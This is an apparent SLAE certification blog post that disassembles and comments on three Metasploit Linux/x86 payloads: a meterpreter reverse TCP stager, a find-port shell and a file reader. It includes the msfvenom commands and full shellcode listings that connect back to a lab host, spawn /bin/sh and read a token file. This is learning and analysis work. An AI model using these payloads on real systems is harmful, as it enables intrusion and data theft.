January 9, 2020

SLAE - Assignment #5 - MSF payload analysis

   Fifth task in exam was to generate 3 payloads from Metasploit for target Linux/x86 system and dissect their functionalities using specific tools: GDB, Ndisasm or Libemu

I chose the following 3 payloads:

  • linux/x86/meterpreter/reverse_tcp
  • linux/x86/shell_find_tag
  • linux/x86/read_file

1. Reverse shell


I generated it using msfvenom -p linux/x86/meterpreter/reverse_tcp -a x86 LHOST=192.168.13.59 LPORT=2608 -o rev.

Then I used disasm to have a look at the assembly listing (cat rev | ndisasm -u -). Some parts of the code are relatively easy for understanding, some are a bit vague. I divided the shellcode on 6 parts for easier analysis based on system calls. Below is code with comments.

# socketcall to run SYS_SOCKET

00000000  6A0A               push byte +0xa
00000002  5E                   pop esi
00000003  31DB               xor ebx,ebx
00000005  F7E3                mul ebx
00000007  53                    push ebx
00000008  43                    inc ebx
00000009  53                    push ebx
0000000A  6A02                push byte +0x2
0000000C  B066                mov al,0x66                    # socketcall
0000000E  89E1                 mov ecx,esp
00000010  CD80                 int 0x80

# socketcall to run SYS_CONNECT

00000012  97                xchg eax,edi
00000013  5B                pop ebx
00000014  68C0A80D3B        push dword 0x3b0da8c0  # IP address in big endian
00000019  6802000A30        push dword 0x300a0002  # port in big endian
0000001E  89E1              mov ecx,esp
00000020  6A66              push byte +0x66
00000022  58                pop eax
00000023  50                push eax
00000024  51                push ecx
00000025  57                push edi
00000026  89E1            mov ecx,esp
00000028  43                inc ebx             # SYS_CONNECT (EBX holds value 0x03)
00000029  CD80           int 0x80

# connection checks and nanosleep

0000002B  85C0              test eax,eax
0000002D  7919              jns 0x48           # we go to mprotect
0000002F  4E                   dec esi
00000030  743D              jz 0x6f               # if zero go to exit
00000032  68A2000000        push dword 0xa2
00000037  58                  pop eax              # syscall code for nanosleep
00000038  6A00              push byte +0x0
0000003A  6A05              push byte +0x5   # 5 seconds sleep
0000003C  89E3              mov ebx,esp
0000003E  31C9              xor ecx,ecx
00000040  CD80              int 0x80

# mprotect to mark region of memory rwx

00000042  85C0              test eax,eax              # test for successful connection
00000044  79BD              jns 0x3                           #attempt to reconnect
00000046  EB27              jmp short 0x6f
00000048  B207              mov dl,0x7                     # marks memory rwx
0000004A  B900100000        mov ecx,0x1000      # length of memory region
0000004F  89E3                mov ebx,esp                # pointer to memory region
00000051  C1EB0C            shr ebx,byte 0xc 
00000054  C1E30C            shl ebx,byte 0xc     
00000057  B07D               mov al,0x7d                  #mprotect syscall
00000059  CD80               int 0x80

# read() from file descriptor into buffer 

0000005B  85C0              test eax,eax
0000005D  7810              js 0x6f
0000005F  5B                  pop ebx          # descriptor
00000060  89E1              mov ecx,esp 
00000062  99                  cdq
00000063  B26A              mov dl,0x6a
00000065  B003              mov al,0x3      # read syscall
00000067  CD80              int 0x80

# exit syscall

00000069  85C0                  test eax,eax
0000006B  7802                   js 0x6f
0000006D  FFE1                   jmp ecx
0000006F  B801000000        mov eax,0x1   # exit
00000074  BB01000000        mov ebx,0x1 
00000079  CD80                    int 0x80


2. Find port


Second one I chose find port shellcode. After generation I used ndisasm again.
Here is the code below with my comments:

# socketcall

00000000  31DB           xor ebx,ebx
00000002  53                push ebx
00000003  89E7            mov edi,esp
00000005  6A10            push byte +0x10
00000007  54                push esp
00000008  57                push edi
00000009  53                push ebx
0000000A  89E1           mov ecx,esp
0000000C  B307           mov bl,0x7

0000000E  FF01              inc dword [ecx]
00000010  6A66              push byte +0x66
00000012  58                  pop eax                    # eax 0x66 
00000013  CD80              int 0x80
00000015  66817F02810D      cmp word [edi+0x2],0xd81  #compare to port 33037
0000001B  75F1              jnz 0xe             #iterate through port number in ecx

# dup2() when found

0000001D  5B                pop ebx
0000001E  6A02            push byte +0x2
00000020  59                pop ecx
00000021  B03F            mov al,0x3f
00000023  CD80            int 0x80

# execve, spawn a shell

00000025  49                dec ecx
00000026  79F9            jns 0x21
00000028  50                push eax
00000029  682F2F7368        push dword 0x68732f2f      # hs//
0000002E  682F62696E        push dword 0x6e69622f     #nib/
00000033  89E3            mov ebx,esp
00000035  50                push eax
00000036  53                push ebx
00000037  89E1            mov ecx,esp
00000039  99                cdq
0000003A  B00B            mov al,0xb        # execve system call number
0000003C  CD80            int 0x80


3. Read file


I generated shellcode by using msfvenom -p linux/x86/read_file PATH=/home/vinegrep/token -a x86 -o read.
I used disasm again. My analysis below:

# Start with classical jmp-call to get address of the file path in ebx and open it.

00000000  EB36                  jmp short 0x38
00000002  B805000000      mov eax,0x5         # SYS_OPEN
00000007  5B                      pop ebx              
00000008  31C9                  xor ecx,ecx           # RO flag
0000000A  CD80                 int 0x80

# Read file in our buffer

0000000C  89C3                  mov ebx,eax          # descriptor
0000000E  B803000000      mov eax,0x3          # SYS_READ
00000013  89E7                  mov edi,esp
00000015  89F9                  mov ecx,edi
00000017  BA00100000      mov edx,0x1000    # size of buffer 
0000001C  CD80                  int 0x80

# Write content from buffer to descriptor of out payload

0000001E  89C2                    mov edx,eax         # size of ourread
00000020  B804000000        mov eax,0x4         # SYS_WRITE
00000025  BB01000000        mov ebx,0x1        # FD
0000002A  CD80                   int 0x80

#  Exit

0000002C  B801000000        mov eax,0x1
00000031  BB00000000        mov ebx,0x0
00000036  CD80                    int 0x80

# path to file

00000038  E8C5FFFFFF        call dword 0x2
0000003D  2F                       das                                    # /
0000003E  686F6D652F       push dword 0x2f656d6f    # home/
00000043  7669                   jna 0xae                            # vi
00000045  6E                       outsb                                 # n
00000046  65677265           gs jc 0xaf                           # egre
0000004A  702F                   jo 0x7b                              # p/
0000004C  746F                   jz 0xbd                              # to
0000004E  6B656E00          imul esp,[ebp+0x6e],byte +0x0     # ken and NULL byte

Disclaimer


This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

https://www.pentesteracademy.com/course?id=3

Student ID: SLAE-764

All the code from this article can be found in my github repository - https://github.com/vinegrep/SLAE-exam